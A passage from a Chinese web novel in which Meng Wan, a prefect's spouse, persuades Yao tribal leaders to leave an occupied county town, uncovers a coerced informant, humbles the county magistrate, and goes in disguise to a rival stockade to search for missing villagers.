那拓见他话说到一半脸色就开始变来变去,疑惑的问:“你认识这个人?”他也会禹国官话,只是水平比兰朵强不了多少。 张宝霖这会儿满脑子想的都是自己会被宋亭舟砍头还是五马分尸,他姐姐、姐夫收尸的时候能拼起来几块,老张家的祖坟他死后还能不能进。 听到那拓的问话,他红着眼圈,艰难的说:“不……认……识。”说完张宝霖整个人的灵魂都得到了升华,如同没长脚的怨鬼一样又悄咪咪的飘到了这群高大汉子的身后。 孟晚眸中带笑,雪生也放下了一丝戒备。 那拓看着孟晚和他怀里的孩子,眉头拧的死死的,“这里不是你应该待的地方,回家去。” 孟晚笑得意味深长,“大王不必生气,我只是救了个瑶族的女人,听她说了一些燕林寨的事情,想问问大王有没有兴趣听一听。” 燕林寨是风仝寨最大的敌人,他说完后不说那拓,他身后的几个头人都躁动了起来,只可惜他们说的话孟晚假装听不懂的样子。 那拓生硬的说:“不要叫我大王,你救得人叫什么名字,是哪个山寨的女人。” “平沺寨,兰朵。”孟晚果断的说。 “她说燕林寨现在四处强行合并周边的小寨子,想要和您分庭抗争。” 燕林寨和风仝寨不合是所有瑶族人都知道的事,算不得什么秘密。那拓听完疑惑的问:“分庭抗争是什么意思?” 孟晚面不改色的说:“他们说你们风仝寨的人不堪一……一个厉害的都没有,他们燕林寨的蚂蚁都能踩死你们这边的头人。” “?” “!!!” 那拓身后的头人们脸色一变,各个口吐瑶语,语速飙的飞快,神情激愤,看起来骂的很脏。 半真半假的谎话听起来才最能迷惑人,也最难分辨,别说那拓他们,就是偷听的张宝霖也信了。 那拓还残存半分理智,“将那个平沺寨的女人带过来见我。” “我不能那么做,因为她救过我的家人。” 孟晚声音不高不低,语速平稳得像是没波澜的水。他眼睛微微上挑,哪怕是身处劣势,姿态也不卑不亢。 那拓看向孟晚的目光中带着审视,显然他有些怀疑起孟晚的话了。 张宝霖暗暗着急,生怕那拓一个不顺心把孟晚给砍了。 “我虽然不能交出自己的救命恩人,但我想平沺寨的人处境如此不妙,应当是不愿意归顺燕林寨的。” 在场的头人都是和那拓交好的,换言之他们有一个共同的敌人就是燕林寨。听孟晚说完这句话,大多数人都十分不屑,“他们燕林寨那边的小寨子,关我们这边什么事?” 孟晚反问他们,“各位难道不是一个一个的小寨子汇聚成如今规模这么大的吗?” 那拓不懂他拐弯抹角的话,顺着孟晚的思路又觉得脑子灵光一闪,他直白的问道:“你说的话是什么意思?” 张宝霖小声说:“他的意思是让你们去拉拢那些被燕林寨逼迫的小寨子们,好壮大自己的势力。” 那拓脑子里的那点灵光突然越照越亮,他看了看张宝霖,又看了看孟晚,“你和我们上楼去吃。” 孟晚从善如流的答应下来,从雪生怀里接过雪生自己抱上楼,留下汇翠楼的小二和掌柜面面相觑。 那拓见孟晚怀里的精致可爱的阿砚总是偷偷望着自己,语气生硬的问:“这是你的孩子?” 不等孟晚说话,阿砚飞速摇头道:“不不,介个是阿砚的哥哥。” 雪生嘴角一抽,孟晚也险些没装得下去,他都快忘了那天的叮嘱了,没想到他儿子还记得。 不过也好,这样没准更方便行事,毕竟弟弟远比亲儿子要不好拿捏。 一进入包厢,那拓便开门见山的说,“你和我们的军师一样聪明,我想请你帮助我们攻打燕林寨,风仝寨会送你大量的皮和银子。” 只要是西梧府的官员或生意人,没有谁不知道孟晚的名声,张宝霖自然也从梁知县那里听说过。 哪怕嘴上再不想承认对方有多本事,说着他靠夫君的势力才撑起来那么大摊子,但心里没人不会承认孟晚的聪慧。这会儿在对方面前被那拓称为“军师”,张宝霖总有种莫名其妙的心虚。 孟晚废了半天的劲儿,等得就是那拓这句话,可顺势应下后就会知道,如张宝霖这般对瑶族人溜须拍马,他们是不会真正服气的。 看似他们让张宝霖跟在身边,可更像是对黑叶县不熟悉,找一个临时的翻译和差遣罢了。 孟晚要的可不是这种角色,他要使这群瑶族人把他当真正尊敬的智者,对他的话不说言听计从,也要极为信服。 “西梧府大大小小的瑶寨其实是同一个大的山寨,因战乱、灾荒等原因迁徙到岭南后,才分散开来。” “风仝寨和燕林寨便是其中最大、也是人口最多的两个山寨。两个寨子之间虽然南北分立,也相互通婚,一直关系友好……” 孟晚自从在壵寨波折了一番回家后,就详细看了关于壵、瑶、鹋三个寨子的地方志,甚至也同宋亭舟一样学了些三寨的语言,刚巧,瑶语因为和岭南一代的白话特别像,他学的比其他两族语言更加顺利。 把从书里看的总结了一番,试探着对那拓一行人说了之后,孟晚边说边仔细观察这群人的面部反应。 说到其他的事情时,他们并没有什么明显的面部变化。只有提到相互通婚时,几人神色各异,有气愤、有羞恼、有怨怼、有难堪。 哦,原来是联姻没联明白搞出的血案! 孟晚即刻领悟。 那拓的眼神也不平静,他深吸了一口气,“你想说什么?” 孟晚双目微眯,嘴角收敛,他正色道:“我可以帮你们打败燕林寨,让他们对你们……像狗一样听话,想揉就揉两下,想踢开也生不起半点反抗之心。”他本来想说什么俯首称臣、唯命是从,但考虑到这群人听不大懂,干脆换了个他们更容易接受的说辞。 几个头人果然面露动容,虽然不是完全信任孟晚,但那拓等人还是想听听孟晚能说出什么,“我们可以怎么做?” 第40章 阿木 “攻心为上,攻城为下。” 孟晚高深莫测的说完,突然好奇的问道:“你们是怎么想到攻打黑叶县的?” 几个人高马大的头人相互看看,其中有一个皮肤最黑的汉子站了出来,“是我提议的。”他是附属于风仝寨的一个寨子头领,名叫雷保。 孟晚围着他转了一圈,把人看的都快脸红了,他稀奇的说:“理由呢?” 雷保被问的有些懵,“什么理由?” 孟晚无奈的说:“当然是攻打黑叶县的理由。” “我们听说燕林寨的人要来打黑叶县,我们肯定不能让他们先来啊,我们就先下手了。”雷保颇有些洋洋得意。 听到这个理由,孟晚先是有些无语,但不可避免的心头一松。不是有意为之就好,说明这些瑶族人只是一时上头,并非恶意攻城。 也难怪,他们只是在城里吃吃喝喝,连最重要的粮铺都不知道抢。 这群傻大个,名也占了,坏事也没做什么,就图气燕林寨一回? 孟晚扶额,“那你们知道攻打县城之后的后果吗?” 雷保心虚的看了眼那拓,“什么后果?这破县城也就那样,打了之后也不知道该做啥。” 那拓倒是比雷保他们几个和靠谱些,他对孟晚说:“我们进城后没伤过禹国人,抓那个官员也是因为他辱骂我们瑶族人。” 孟晚暗道:若不是看你们行事还算有底线,没有闯到百姓家里胡作非为,自己早就想方设法出城回府城让宋亭舟直接将你们端了。 “你们霸占县城,囚禁朝廷命官,不管伤没伤人都触犯了禹国律法,不光你们自己,还会连累寨子里的人。”见他们不是什么穷凶极恶的人,孟晚便改换了对策,与他们说起实情来。 岭南人口本就不如中原各地,这些瑶族人既然没有伤害人命,一切就还有转圜的余地。 那拓捏紧拳头,“我们瑶寨的汉子都是擅长射猎的好儿郎,我们不怕禹国的朝廷。” “对!我们不怕他们!” “尽管让他们来打我们!” 他身边其他首领也开始叫嚣。 孟晚简直气笑,西梧府离边境的钦州极近,若是瑶族人将事情闹大,传到朝廷的耳里,来的就不是宋亭舟的府兵,而是钦州的边防兵。 他们还真以为侥幸攻下了黑叶县,囚禁了个七老八十的县令,便能傲视禹国那些上过战场,见过血的边防兵了? 好笑归好笑,但这话他不能就这样直白的对那拓说出来。他算是看出来了,这群人受不得激,刺激两句什么混事都能做的出来。 他用极为平淡的语气说出,“西梧府府兵两千,西南总兵麾下士兵三万,钦州边防大军十万。”当数字超过普通人的认知,他们就会产生距离他们很遥远的错觉。 无知者无畏。 当这串恐怖的数字摆在他们面前时,他们自己都会发觉自己的浅薄愚昧是多么可笑。 果然,他这话说出口,刚才还豪情壮志的几个人,瞬间像是被戳破的胆气,低下头不再言语。 孟晚总觉着他们像是一群被骂了的大狗狗。 “咳咳。”他清了清嗓子,“但你们都是很好的勇士,没有欺负普通百姓,这件事暂时没有扩大,现在撤出去还不晚。” 包括那拓在内的几个头人眼睛里燃起来亮光,那拓还算是里面心眼多一点的。 他狐疑的看着孟晚,觉得对方是在诓他们。 孟晚淡淡的笑了一下,“你们吃好了吗?吃好了我带你们去看一场好戏。” 虽然不明就里,但总觉得面前这个小哥儿说起话来莫名令他们信服,几个头人还是跟随孟晚出了汇翠楼,直奔白日孟晚去过的粮店。 还不是粮店正门的大街,而是一旁的小巷子里。 孟晚觉得这样看不过瘾,瞄了瞄旁边一户人家的房顶,“雪生,我想上墙。” 雪生:“……” 他沉默了一会儿后艰难的说道:“那我背您上去。” 片刻后孟晚趴到了房顶上,旁边还有那拓和另外几个头人。雪生抱着阿砚,带着阿寻,像是个拖家带口的妈妈,从小巷子里等他们。 那拓不解的拧死眉头,“我们为什么要在这里待着?” 他嗓门没收住,惹得他们身下这家突然亮起了油灯。 “谁!” “哪儿有声音啊,快睡。” “天天在家憋着,睡不着。” “也不知道这群瑶族人什么时候才走,唉……” 孟晚对着那拓几人在唇边竖了根中指,用气音小声说道:“小点声。” 幸好现在天气不冷,他们在房顶趴了一会儿,直到月上中梢,那拓几人头脑清醒过来,他们竟然在陪一个来历不明的外族小哥儿胡闹时。 这时,街道上竟然驶过来四五辆马车来。不,也不算是马车,只是往马匹后面套了个板车,其上没有车厢。 “是咱们的马!”雷保惊呼。 幸亏那些马车离他们距离还远,并没有听到他的声音。孟晚不得不再次冷声提醒,“别再说话了,一会儿你们自然会知道是怎么回事。” 几人都是满肚子的疑问,可都能看出来这事还真和他们有关,便老老实实的静观其变起来。 “老头子,你听到没有?真有声音。” “什么……什么声音,快点睡觉!” “……好,好。” 老两口的声音渐渐微弱,甚至带上了一丝恐惧的颤抖。 孟晚分出一丝心神听完他们的对话,确定这家人不会出来打扰后,就专心致志的看着越来越近的马车。 随着马车靠近,能看见赶车的几个人,都是穿着蓝黑色瑶族服饰的瑶族人。 转身看那拓他们困惑的样子,孟晚轻声道:“你们认识他的吧,鼓楼寨头人阿木。我早上去卖粮的时候见过他一面。” 毕竟一群抢粮食的百姓中,出来一个身穿异族服饰的瑶族人,还是挺打眼的。 孟晚和粮店老板砍价的时候,背地里让雪生偷偷跟上对方,发现了一点不同寻常的猫腻。再加上从雷保口中知道了关于他们攻打黑叶县的原因,所有有了一个大胆的猜测。 “你们听说燕林寨的人要攻打黑叶县,是不是就是阿木告诉你们的?” 雷保面色惊讶,也学着他的样子小声说:“你怎么知道的?” 孟晚但笑不语,趴在房顶上能清晰的听到底下人用瑶族语言说话。 “阿木哥,咱们真的要这么干啊?” “车都拉来了,没办法反悔了。” “可是那拓不让我们抢城里人东西。” 阿木听着同伴们不赞成的话,回过头去呵斥,“他在酒楼里喝酒吃肉,又没带上我们鼓楼寨的人,只要你们不说,他是不会知道的。” 能听得出来,他语气中带着对那拓的不满。 拉车的都是鼓楼斋的人,自然听他这个头人的话,见他恼怒,当即都不再反对,几人将马车扔到粮店门口,先往白日孟晚买过粮的那家粮店走去。 那拓看到这里,已经知道他们要做什么了。手臂略微发力就要起身…… “别去,你若是信我,就再等一小会儿。”孟晚劝阻他道。 那拓捏紧拳头,结实的臂膀上青筋浮现,可见是在隐忍不发,听了孟晚的话后,最终还是松开拳头按捺住了。 他们眼睁睁的看着阿木带着人破开门闯进粮店后面的院子里,才五个人愣是弄出来五十个人的气势,将粮店里的人吓得不轻。像老鼠一样躲在最角落的柴房,任由阿木他们把库房里的粮食都搬走,一声都不敢吭。 直到瑶族人搬完了粮食快走的时候才弱弱的问:“大……各位大爷,你们好歹报个名号,。不然明天我怎么和东家交代啊。” 阿木没有回头,粮店伙计还以为他不会说了的时候,他突然开口说了句,“风仝寨,那拓。” “***!”那拓再也忍不住,和另几个头人从房顶上跳下去,对着阿木几人就是一顿暴揍。 孟晚也算是见识了这群头人揍人的狠劲儿了,趴在房顶上看的津津有味。 “夫郎,要不要我背你下来?”雪生见他们已经暴露,便跑过来问孟晚。 “不用,你抱好阿砚,我自己能下去。”孟晚从房顶上半坐起来,小心翼翼的往墙头上挪,然后从两米高的墙头上直接跳了下来。 阿砚满眼星星的看着他笨拙的样子,很给面子的惊呼,“哇!哥哥腻害!” 孟晚拍拍袍子,“一般般吧!” 那拓几人气坏了,下手一点也没留情,鼓楼寨的人被打的连连哀嚎。 “别把阿木给打死了,留他还有用!”孟晚忙道。 那拓从滔天的怒意中找回了一分理智,他提起满脸是血的阿木质问:“你为什么要这么做!” 阿木没有那拓高大,被他拎在手上就像斗败的公鸡,蔫头耷脑的哑着嗓子回道:“我不这样做不行。” 那拓冷笑,“什么意思?就因为今天吃酒没叫你?可酒楼安排不下这么多兄弟,阿虎他们今天也没来,等着明晚的那一顿。” 孟晚被他简单的脑回路逗笑了,“哪儿有那么简单,恐怕其中还有别的内情吧,阿木?” 阿木深深的看了那拓一眼,又把视线扭到孟晚身上,“你是什么人?那拓的情人?” 孟晚笑意一僵,该死的阿木,还不如让那拓他们接着揍两顿,什么都招了。 那拓这会儿难得脑子灵光,他不满的把阿木甩到地上,“现在是我在问你,为什么要背叛我们?” 阿木躺在地上,旁边是他们鼓楼寨的族人,他们是被他诓骗出来的。 懊悔感和一直压抑在心底的愧疚几乎将他淹没到窒息,他急急的喘了两口气,开口时带着明显的抖声,“我没有背叛,但是春妹和孩子们都在燕林寨,他们要我这么做,不然就要杀掉她们!” “春妹怎么会带着孩子回燕林寨?”雷保问。 风仝寨和燕林寨做为西梧府一带人数最多的瑶族大寨,相互联姻是很频繁的事。鼓楼寨做为风仝寨周边的山寨,也有许多人同燕林寨联姻,阿木的妻子春妹就是燕林寨的人。 两个寨子闹翻之后,嫁到风仝寨的女人或者男人便都不与燕林寨联系了。 “春妹的阿爸托人带信,说他快病的不行了,想见见春妹和孩子们,我就偷偷……偷偷把她们送过去了。” 孟晚听着不对,“是不是还有其他燕林寨的人偷偷回去了?” 另一个躺在地上半死不活的鼓楼寨人抬起胳膊,“还有我阿妈。” “应该不光这两个人,肯定还有其他寨子的人,他们偷偷与燕林寨的人联系,把你们的一举一动都通知给燕林寨的人。” “什么!”雷保惊喝一声,把在雪生怀里昏昏欲睡的阿砚给吓了一跳。 孟晚把阿砚接到自己怀里,轻轻拍抚,“要是我没猜错,告诉你燕林寨要攻打黑叶县消息的人,应该也是燕林寨的眼线。” 他在心里感叹,看来甭管是什么环境下,都不缺聪明人。他甚至怀疑这场风仝寨与燕林寨之间的对弈,也是燕林寨的人一手主导的。不然他们怎么反应这么快?动作迅速又合情合理的并吞了其他小山寨。 “我现在就去找巴烈!”雷保满脸怒气,一秒都等不了要去找人算账。 “别别别。”孟晚忙阻止他,“你傻啊,你们现在就算揪人也揪不干净的,漏了一个两个才是麻烦,只会惹得燕林寨的人更加警惕,还不如将计就计……” 所有人的脑袋都扭向他,异口同声的问:“什么是将计就计?”这回他们总算是真正开始相信孟晚说的话了。 孟晚嘴角上迁,“现在你们信不信我会带你们搞翻燕林寨的话?” 那拓几人一齐点头。 孟晚十分满意,“那现在先听我说,首先,把阿木他们抢来的粮食分出去一半,就扔到衙门门口去。” 虽然不解,但那拓他们对孟晚的话莫名信服,把鼓楼寨的几人往旁边踢踢,捡起马鞭便开始拉货。 孟晚走到被劫的粮店门口,对着偷偷从门缝往外望的伙计说道:“看到没,地上那几个家伙把你们粮店的粮食劫走了,为首的人叫阿木,等明天天亮你们东家问起来就这么说,知不知道?” 第41章 黑叶县知县 白天他花了多一倍的钱买米,这米虽然不是精米,也还可以了,就当他吃点亏吧。 之后的五车粮食,孟晚干脆让雷保拉回瑶族人驻地两车,分给他风仝寨的小弟们。 拿别人抢的东西给他做嫁衣,这些当作甜头让风仝寨的人见见自己的实力。 剩下一半直接拉去县衙,让那拓把地牢里关着的梁知县给放了。 “能不能,先让我们几个寨子的兄弟们先撤出黑叶县,然后我留下和你去见梁知县?”那拓问孟晚。 他已经意识到事情不是他想象的那么简单,壵、瑶、鹋三寨早就被禹国打服过,他们对朝廷来说微不足道,还不如势力大点的乱匪。 这次他们打了黑叶县一个措手不及,再耗下去可能会连累整个西梧府的瑶族人。 那拓一脸坚毅,“知县要打要杀都冲我一个人来,是我犯糊涂,和瑶寨的弟兄们无关。” 人傻是傻,但还是挺讲义气的,孟晚赞赏的看着他,“既然你心有顾虑,就先叫他们拉着粮食撤出去。” 多说无用,他保证的再多,那拓也不会放心。只有让所有瑶族人撤出县城,他才能安心和孟晚去见梁守真。 那拓是个行事痛快的汉子,也没和孟晚玩虚的,当即就让雷保等人带着寨子里的人出城去。 “那你等我,我送完他们出去就来找你,攻城这主意是我先提的,死也是我死前头!” “我也和你们一起去县衙!” “别落下我,那拓,你等着我们!” “对!等着我们!” 那拓表面上答应雷保几人,后脚等他们一走就刻不容缓的和孟晚去了县衙。 “胆大妄为!” “竟然囚禁朝廷命官,九个脑袋都不够你们砍的。” 黑叶县知县李绥安穿着皱巴巴的官袍比手画脚,花白的胡子乱糟糟地团在脸上,他一脸气愤,脸色蜡黄,可见地牢里的这三天并不好过。 “姐夫,姐夫!你先别骂了,看看那边。”张宝霖小声在旁边提醒。 李绥安还不知道这三天小舅子在外潇洒,甚至混到了关押他的这群人里,要不是娇妻难哄,他早就不待见张宝霖了。 没好气的嚷了一句,“看什么看?还不统统将人给我抓起来?这群蛮人!本官要大刑伺候,再上书朝廷!” “呦,李大人真是好大的官威啊!”孟晚语气嘲讽。 李绥安现在只想回家洗漱,在他的高床软枕上好好睡上一觉,睡醒了再上书给知府大人,让府兵将那群野蛮人统统抓起来。 他扭过头去第一眼先看到在夜里快白的发光的孟晚,“你是哪个?适龄待嫁的小哥儿大半夜上县衙作甚?还不速速回家去!” 斥责完孟晚后,突然就看见了他旁边站得像木桩一样的那拓。又气又怕,生怕再被关回地牢,“来人,快来人,把这个瑶族的野蛮人给我抓进牢里去!” 衙役们围过来,那拓紧绷着脸陡然松懈下来,就用他一个人的命换他们瑶寨的平安吧。 “草民是石见驿站的东家,家有点远,在府城。不如李大人送我一程?”孟晚往前踏了两步,站到那拓前面,似笑非笑的对着李绥安说话。 “石见驿站的东家?”李绥安觉着似乎有些耳熟,在肚子里琢磨了一圈突然回过神来,石见驿站不就是知府大人的夫郎开的吗! 他小舅子张宝霖是见过对方的,李绥安扭头一看,张宝霖正挤眉弄眼的提醒他,眼睛都快抽筋了。 意识到自己刚才说了什么话后李绥安立马打了个冷战,拱手、低头、弯腰一气呵成。 “下官见过孟夫郎,孟夫郎恕罪,下官年纪大了,又在地牢里待了几天,被那瑶族人折磨得不成人样,一时头晕眼花,竟没认出孟夫郎来。” 孟晚笑呵呵的说:“哎呀,李知县嘴皮子很利索嘛,明明是你的过错,竟然还有脸在我这儿卖惨?” 他虽是一脸笑意,但谁都能看出来冷意浸透了他的双眸。李绥安还以为孟晚是在对他刚才的言语冒犯而不满,张宝霖却知道孟晚是看不惯自己姐夫为官废物。 他悄悄捅了李绥安一下,想让对方态度端正些,这个孟夫郎可不是个好糊弄的。见对方还在舔着脸笑又捅了第二下。 李绥安没憋住,“你干什么!” “看来李大人是对我说的话有其他见解了?”孟晚冷飕飕的眼刀子甩过来,李绥安竟然还真接住了。 “孟夫郎你刚才说要放了这群瑶族人?请恕我恕难从命。他们可是囚禁了本官三天啊!这三天他们霸占县衙,关押衙役,还把控了城门不许所有人进出。我定要将他们告到知府大人桌案上!告到大理寺!告到盛京城的金銮殿上!”李绥安越说嗓门越大,像是受了天大的委屈。 孟晚一脸无所谓的拍了拍手,极力赞同道:“好啊,李大人现在就去衙门写奏折。就写风仝寨做为黑叶县邻里,李知县你是如何明知瑶族人内乱严重却不上报府城,然后又是如何在毫无准备的情况下被区区六百瑶族人攻破了县城,害得百姓担惊受怕,粮店粮食肆意涨价的。” “这奏折应该几天后就能送到我夫君的桌案上吧?但是不必告到大理寺那么麻烦,最快一个月后应该就有新的黑叶县知县过来顶替你。但时候你该下狱下狱,该抄家抄家。” “哦,对了。”孟晚又好心补充了一句,“李大人写完奏折之后一定要提醒尊夫人收拾点值钱的细软,藏好了,免得到时候连给大人准备副薄棺的银两都没有。” 李绥安一句话都插不上,每听孟晚说上一句,脸色便惨白一分,直到最后孟晚说到薄棺,他干脆一屁股跌坐到了地上,半点形象全无,凄凄惨惨的要抱孟晚大腿。 雪生大步向前,见他脆弱不堪的样子没敢用力,用脚轻轻将他踢开,“放肆!” 孟晚微微俯下身子,脸上重新挂起笑,“李知县心是好的,只是做事未免有些急躁了,你刚刚从地牢巡视回来是好事啊,该好好在家里休息几天才是。” 他指了指县衙外的三车粮食,“这里还有瑶族人为了表示友好,送给百姓们的三车粮食,烦请大人明天开设粥棚,给城里城外的穷苦百姓布粥用吧。” 李绥安已经被吓得魂不守舍,他都这把年纪了,早就不求升官,但好歹活着致仕啊! “是是,明日下官……不,今日下官就命人搭棚,明天一早便开始布施。” “李大人做事向来稳妥,那我就先把那拓带走了?”孟晚故意试探着问。 李绥安面容愁苦,脸上一堆褶子都堆到了一起,“那拓即是自由身,自是想去哪儿就去哪儿。” 孟晚转过身后脸色一冷,就这?父母官? 也是因为岭南地处偏僻,真正的有才之士朝廷也舍不得发配至岭南,剩下这些歪瓜裂枣一呆就是几十年,早就混成万事不管的老油条了。 连根都坏了,光带是带不起来的,需得将坏掉的植被连根拔起,换个新的才是。 孟晚回驿站把自家的两辆马车拉走,期间没有惊动后院库房的工人,只和梁管事说了。 “走吧,速去追上雷保他们,要不那几个傻大个没准还回县衙自首呢。” 他们半夜赶路,只是可怜两个孩子要在马车上过夜,阿砚一沾枕头就睡着了。 那拓忍了半天,终于没忍住问了句,“那个县官为什么对你那么客气?” 到了这步孟晚已经不用再骗那拓,他从怀里取了块巴掌大的玉牌,“看到了吗?这是西梧知府的腰牌。” 那拓不识字,也不知道这块腰牌的作用,但他从李绥安口中听过知府,知道那是更大的官员。 “你是知府的夫郎!” 他倒是难得灵光了一回,孟晚点头承认,“是,但暂时不要告诉其他人。” 那拓不太懂,“你和官府的人是一起的,刚才为什么不让那些人把我抓起来?还放走了雷保他们。” 孟晚让黄叶和阿寻在车厢里照顾阿砚,自己坐在车辕上和骑在马上的那拓说话,“因为你从第一句话就说错了,我从来不和官府站在一起,我是和天下的百姓站在一起。如今既然生在禹国,我便是禹国人,你和雷保他们同样也是。我们是一国人,把你抓起来对我没有半点好处,相反还会寒了壵族和鹋族人的心。” 孟晚的话那拓听得一知半解,但他能听出孟晚话里的真心,这个小哥儿是在真心帮助瑶族人,他愿意相信对方。 “你要和我回风仝寨吗?” 孟晚摇头,“不,我们要先去燕林寨的地盘。我答应了兰朵,要去救平沺寨的瑶族人。” 这句话更让那拓对孟晚的好感倍增,他义不容辞的说:“我也可以去帮忙。” 孟晚现在缺的就是人手,他从车厢里拿出一瓶果汁来扔给那拓,“那就多谢了。” “给我的?”那拓受宠若惊的接过漂亮的琉璃瓶子,精致的竹编下是细长的瓶体,里面流动着金黄色的液体,看起来极为诱人。 孟晚看他一脸稀罕的模样,单手握了半天也舍不得喝似的,劝说道:“里面的果液放不了太长时间,快喝吧,这是我家工坊自己产的,等下次来我多送你几箱。” 那拓一个体态魁梧的汉子,被他一瓶小小的果汁感动的不行,早知道他还费什么劲儿,搬几车果汁罐头去瑶寨,不得收到瑶寨全族人热烈欢迎? 孟晚钻回马车,躺在枕头上休息,心里想着杂七杂八的事睡得也不安稳。 半路他们又与雷保几人汇合,这几个头人果然讲义气,安顿好族人竟然真的回去找那拓了,要不是半路遇上,他们还要重新折返黑叶县,再去救一次人。 “你们不能都和我一起去平沺寨,起码要有一半的头人回风仝寨去主持大局。”第二天一早众人再次启程前,孟晚找到雷保几人说道。 雷保不解,“为什么?你们不是要去平沺寨救人,人多点不是更顺利?” 孟晚把话摊开了给他们解释,“我没猜错的话,燕林寨之所以叫人怂恿你们去攻打县城,是想让你们和黑叶县的衙役们两败俱伤,或者干脆让官府收拾你们,他们好一举拿下风仝寨,这会儿他们的人没准已经快到风仝寨了。” “什么!” “那我们要回去。” “我们不在,寨子里没有头人不行!” 几人惊叫连连,连那拓都有些神思不安。 瑶寨的人显然没有长时间上路的经验,也没准备什么吃喝,幸好孟晚给他们留了三车粮食,现在他们也在休整煮粥。 黄叶借了这群人两个勺子,但因为瑶族人的人数实在太多,碗就无能为力了,他们用路边的大树叶盛粥。 孟晚用小碗吃着黄叶做的疙瘩汤,“放心,风仝寨毕竟是大寨子,燕林寨的人肯定想不到你们才带了六百人就顺利拿下县城。而且记不记得阿木去抢劫粮食?” 那拓等人一齐点点头。 阿砚坐在孟晚旁边,孟晚将自己碗里的蛋白舀给他,“那肯定是燕林寨的人指使的,他们担心进攻风仝寨的人手很多,路上行军粮食不够,所以才怂恿你们进攻县城,再让阿木把粮食送出来。现在粮食一直没到,他们肯定不会带太多人去,或者要想其他办法带上粮食才会进攻你们的寨子,所以一时半会不用担心。” 他这样一说,那拓等人就放松了不少。 那拓点了几个人,“峒山、石磐……你们两个留下,剩下的都回寨子里去。要是燕林寨的人来,就和他们打!” 孟晚一口热汤下去险些没噎死,“别别别,打什么打。” 几人脑袋都转向他。 孟晚几口将碗里的东西吃完,顺手还用帕子给阿砚擦了擦嘴巴。 “他们要是强攻,你们就坐在寨子外面哭,骂他们拿老婆孩子要挟你们,你们不敢打,怕打了他们杀你们风仝寨的老弱妇孺。” “那拓不回来,你们千万别出寨子和他们硬刚,知道吗?” 第42章 燕林寨 和雷保他们告别,目送这些瑶族人回自己的寨子。孟晚和那拓等人也在兰朵指路下开始往平沺寨的方向赶去。 平沺寨地势较低,是住在山谷里,路上悬崖峭壁极多,马车拉不进去。 他们在林子里休整,决定留下几人看着马车,其余人徒步往山谷里走。 雪生来过这里,对这地方还有一丝印象,但再让他找平沺寨的位置他肯定是找不到的,好在有兰朵这个当地人在。 兰朵抱着儿子,离平沺寨越近心情就越忐忑不平,她好像有些怕那拓,同是瑶族人,却一句话也不敢和那拓几人说。 进山的路难走,阿砚都是雪生一路抱着。他是习武之人,又从小练功,体力自然不差,可兰朵抱着兰山就有些吃力了。 “我帮你抱着孩子。”那拓在兰朵面前摊开双手,用瑶语说了一句话。 兰朵显然十分吃惊,“不用了。” 孟晚走过来对她说:“兰朵,有我们照看没事的,你抱着孩子也不方便在前面带路。” 平沺寨只是个和平的小寨子,又挨着燕林寨。对上与燕林寨敌对的风仝寨头人,心中自然是忌惮的,这是人之常情,那拓也知道兰朵为什么畏惧他。 兰朵对孟晚很信赖,对方因为自己阿爸前些年救过宋亭舟,二话没说就和他来了瑶寨。是个很值得托付的人,兰朵愿意听他的话。 把孩子递到那拓怀里,兰朵捏了捏自己酸痛的胳膊,脚步更坚定三分。 我带着很好的人回来救你们了,阿爸、山虎,你们一定要等着我啊! 然而,他们还没踏入平沺寨就发觉了不对的地方,寨门大开,里面好像并没有旁人。 孟晚叫所有人都和他躲到一处茂密的草丛后面,让那拓和峒山两人去寨子里看看。 一炷香后两人回来,“寨子里好像没有一个人在。” “什么?怎么可能!”兰朵急切的问:“你们去竹楼里看了吗?” 那拓点头,“大致看了几户,屋子里都没有人。” 孟晚当机立断,“走,我们再进去看看。” 他们直奔兰朵家,竹子做成的栅栏是打开的,竹楼里楼上楼下的门都大开着。 孟晚伸手在二楼的栏杆上一抹,上面落了层薄薄的灰尘,里面的家具也是如此。 他在竹楼上下转了两圈,得出结论,“你的家人走的时候虽然匆忙,但锅碗瓢盆,甚至床铺都带着了,应该没有性命之忧。” 兰朵用袖口擦拭眼泪,“真的吗?那他们会去哪里?” 孟晚望着这个空无一人的小寨子,思索道:“联合你之前说的话,你们寨子的瑶长有些古板,他主动带寨民们躲出去的可能不大,有很大可能是和燕林寨的人走了。” 兰朵情绪有些崩溃,她双目通红,手狠狠的拍在栏杆上,“那不就是去攻打风仝寨?燕林寨最喜欢用小山寨给他们探路了,我阿爸年纪大了,去了肯定要死的!” 孟晚宽慰她,“你别担心,我们和雷保他们分开的时候不是叮嘱过他们吗?两边不会打起来的。” 兰朵眼角流下两串激动的泪珠,被她用通红的手掌楷去,“那我们要去风仝寨附近去找人吗?” 孟晚也在想这个问题,他倚在栏杆上琢磨了一会儿,还是说道:“如今风仝寨附近肯定有很多燕林寨的人,就这样直接找过去不行。最好的办法就是让他们主动撤出风仝寨范围……” 他要竭力避免两个大山寨之间的火拼,别管燕林寨的人要做什么,在他这里都行不通,山寨势必要与外界相通。 “兰朵,麻烦你帮我们几个每人找两身瑶寨的衣裳。” —— 平沺寨几十里外的燕林寨外,燕林寨如今聚结了周边几乎所有的小山寨,把地盘圈的很大。他们才靠近,就已经被巡逻队的人给发现了。 “你们是什么人?” 孟晚经过这些时日兰朵的一对一教学,没日没夜的和身边几个瑶族人用瑶语对答后,口语熟练不少,不说和当地瑶族人一模一样,但也可以对答如流。 “大哥,我们是从远处石见寨来的,本来是要投奔平沺寨的亲戚,没想到寨子里一个人也没有,一路打听过来听说他们都在最大的瑶寨——燕林寨里,所以找过来问问。” 孟晚头发在脑后挽了个髻,然后用一尺宽的蓝布围着额头缠了一圈,上面坠着彩色的穗子。上身穿了件斜襟的靛蓝色短款上衣,领口和袖口处绣着翠绿的山蕨菜,腰上缠着一圈用彩色布条织成的彩带。 下面裤子是蓝黑色,只有七分长短,露出他白皙的脚踝。左脚脚腕处系了一根鲜红的红绳,代表他未嫁的身份。脚上踏着一双崭新的黑色刺绣布鞋,这是兰朵新 做得还没穿过。 阿寻雪生等人皆是这副装扮连阿砚都被换了身瑶族小孩的衣裳乍一看确实难辨真假。 巡逻的瑶族人见他们面色疲惫拖家带口的还抱着两个小孩心里戒备瞬间放下“平沺寨的人确实在我们寨子准确的说现在他们已经是我们燕林寨的人了若你们无处可去也可以加入燕林寨。” 他们极为热情的将孟晚一行人领回寨子越往里走便能看到很多正在劳作的人大部分是老人和孩子青壮年极少。 “他们在干嘛?”孟晚一脸好奇的问。 可能因为他颜值高又是未婚很容易收获他人好感。巡逻队的人争着在他面前表现。 “他们都是归属我们燕林寨的人在修建自住的竹楼呢外围都是小寨子我们大寨子都是住在最里面。” 说话这人就是燕林寨的人 